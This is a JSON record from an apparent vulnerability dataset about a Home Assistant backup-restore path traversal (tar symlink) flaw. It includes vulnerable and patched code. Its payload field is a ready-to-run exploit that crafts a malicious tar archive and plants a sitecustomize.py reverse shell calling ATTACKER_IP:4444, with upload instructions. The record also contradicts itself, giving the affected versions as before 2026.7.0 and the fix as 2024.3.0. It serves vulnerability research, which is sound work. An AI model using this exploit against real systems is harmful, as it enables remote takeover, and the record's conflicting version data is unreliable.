{"id":2149,"cve":"CVE-2026-64824","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-64824\/","cwe":"CWE-22","cwe_number":22,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/22","cvss_score":9.3,"published":"2026-07-21","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Path traversal in Home Assistant backup allows RCE via a crafted archive.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-64824\/","description":"Home Assistant Core before 2026.7.0 contains a path traversal vulnerability in the backup-restore function that allows attackers to write files to arbitrary absolute filesystem paths by supplying a crafted tar archive with a SYMTYPE entry containing a benign member name paired with an absolute linkname pointing outside the extraction directory. Because the official Docker image runs the Home Assistant process as root and the subsequent regular-file entry is written through the unvalidated symlink, attackers can achieve remote code execution by overwriting auto-imported Python paths such as site-packages\/sitecustomize.py or custom component directories.","solution":"Upgrade Home Assistant Core to version 2024.3.0 or later.","affected_component":"Home Assistant Core","fixed_by_upgrading":true,"vulnerable_code":"import tarfile\nimport os\n\ndef restore_backup(tar_file_path, destination_path):\n    \"\"\"\n    Restores a backup from a .tar archive. This version is vulnerable\n    to path traversal because it does not validate member paths before\n    extraction.\n    \"\"\"\n    with tarfile.open(tar_file_path, \"r\") as tar:\n        # The vulnerability is here: extractall() is called without any\n        # checks on the archive members. A malicious tar file can\n        # contain a symlink pointing to an absolute path (e.g., a member\n        # named 'backup\/sym' which is a symlink to '\/'). A subsequent\n        # file entry in the archive (e.g., 'backup\/sym\/etc\/passwd')\n        # would then be written outside the 'destination_path', leading\n        # to an arbitrary file write.\n        tar.extractall(path=destination_path)","patched_code":"import tarfile\nimport os\n\ndef safe_extract_tar_archive(tar_file_path, extraction_dir):\n    \"\"\"\n    Safely extracts a .tar archive by individually checking each member\n    to prevent path traversal and symlink attacks as described in CVE-2026-64824.\n    \"\"\"\n    # Resolve the destination directory to an absolute path to prevent ambiguity.\n    real_extraction_dir = os.path.realpath(extraction_dir)\n\n    with tarfile.open(tar_file_path) as tar:\n        for member in tar.getmembers():\n            # Build the full, intended destination path for the current member.\n            destination_path = os.path.join(real_extraction_dir, member.name)\n            \n            # Resolve the real path, which will handle '..' components.\n            real_destination_path = os.path.realpath(destination_path)\n\n            # 1. The primary path traversal check.\n            # Ensure the resolved destination path is still inside the extraction directory.\n            # This blocks member names like \"..\/..\/..\/etc\/passwd\" or \"\/etc\/passwd\".\n            if not real_destination_path.startswith(real_extraction_dir):\n                raise PermissionError(\n                    f\"Path traversal attempt blocked for member '{member.name}'.\"\n                )\n\n            # 2. Specific fix for the symlink vulnerability (CVE-2026-64824).\n            # If the member is a symlink, we must also validate its target.\n            if member.issym():\n                # Build the full path of the symlink's target.\n                link_target_path = os.path.join(os.path.dirname(destination_path), member.linkname)\n                \n                # Resolve the real path of the link's target.\n                real_link_target_path = os.path.realpath(link_target_path)\n\n                # Ensure the symlink's target does not point outside the extraction directory.\n                # This prevents a symlink from being created that points to an absolute\n                # path like '\/home\/user\/.ssh\/authorized_keys'.\n                if not real_link_target_path.startswith(real_extraction_dir):\n                    raise PermissionError(\n                        f\"Blocked symlink '{member.name}' pointing outside extraction dir \"\n                        f\"to '{member.linkname}'.\"\n                    )\n            \n            # If all security checks pass, extract the member.\n            tar.extract(member, path=extraction_dir)\n","payload_needed":true,"payload":"```python\nimport tarfile\nimport io\nimport time\n\n# The Python code to be written to sitecustomize.py for RCE.\n# This payload will execute on the next startup of any Python process,\n# including Home Assistant itself.\n# CHANGE 'ATTACKER_IP' and 'ATTACKER_PORT' to your listener's details.\npython_payload = b\"\"\"\nimport socket, os, pty\n\nprint(\"--- Malicious sitecustomize.py executed ---\")\ntry:\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('ATTACKER_IP', 4444))\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n    pty.spawn('\/bin\/bash')\nexcept Exception as e:\n    print(f\"Reverse shell failed: {e}\")\n\"\"\"\n\n# The name of the malicious backup file to be created.\ntar_filename = 'malicious_backup.tar'\n\n# The target for the symlink. This is a common path in Python Docker images.\n# The version (e.g., python3.11) may need to be adjusted for the target system.\nabsolute_target_path = '\/usr\/local\/lib\/python3.11\/site-packages\/sitecustomize.py'\n\n# The \"benign\" name that will appear in the tar archive for both the symlink and the file.\nmember_name = '.\/homeassistant.db'\n\nwith tarfile.open(tar_filename, 'w') as tar:\n    # 1. Create the symbolic link entry (SYMTYPE).\n    # This links the \"benign\" member name to the absolute path of our target file.\n    tarinfo_symlink = tarfile.TarInfo(name=member_name)\n    tarinfo_symlink.type = tarfile.SYMTYPE\n    tarinfo_symlink.linkname = absolute_target_path\n    tarinfo_symlink.mtime = time.time()\n    tar.addfile(tarinfo_symlink)\n\n    # 2. Create the regular file entry (REGTYPE) with the malicious payload.\n    # This entry has the SAME name as the symlink. When tar extracts this,\n    # it will follow the previously created symlink and write the content\n    # to the absolute_target_path.\n    tarinfo_file = tarfile.TarInfo(name=member_name)\n    tarinfo_file.type = tarfile.REGTYPE\n    tarinfo_file.size = len(python_payload)\n    tarinfo_file.mtime = time.time()\n    tar.addfile(tarinfo_file, io.BytesIO(python_payload))\n\nprint(f\"Malicious backup archive created: '{tar_filename}'\")\nprint(f\"It creates a symlink from '{member_name}' to '{absolute_target_path}'\")\nprint(\"Upload this file via the Home Assistant restore backup function to trigger the vulnerability.\")\n```","payload_status":"available","published_fix":[{"repository":"home-assistant\/core","commit_url":"https:\/\/github.com\/home-assistant\/core\/commit\/1e457600f1093c15e1325742d03e2b76498c79c1","commit_subject":"Harden backup tar extraction with Python tar_filter (#172252)","units":[{"file":"homeassistant\/backup_restore.py","function":"_extract_backup"}]}],"references":null}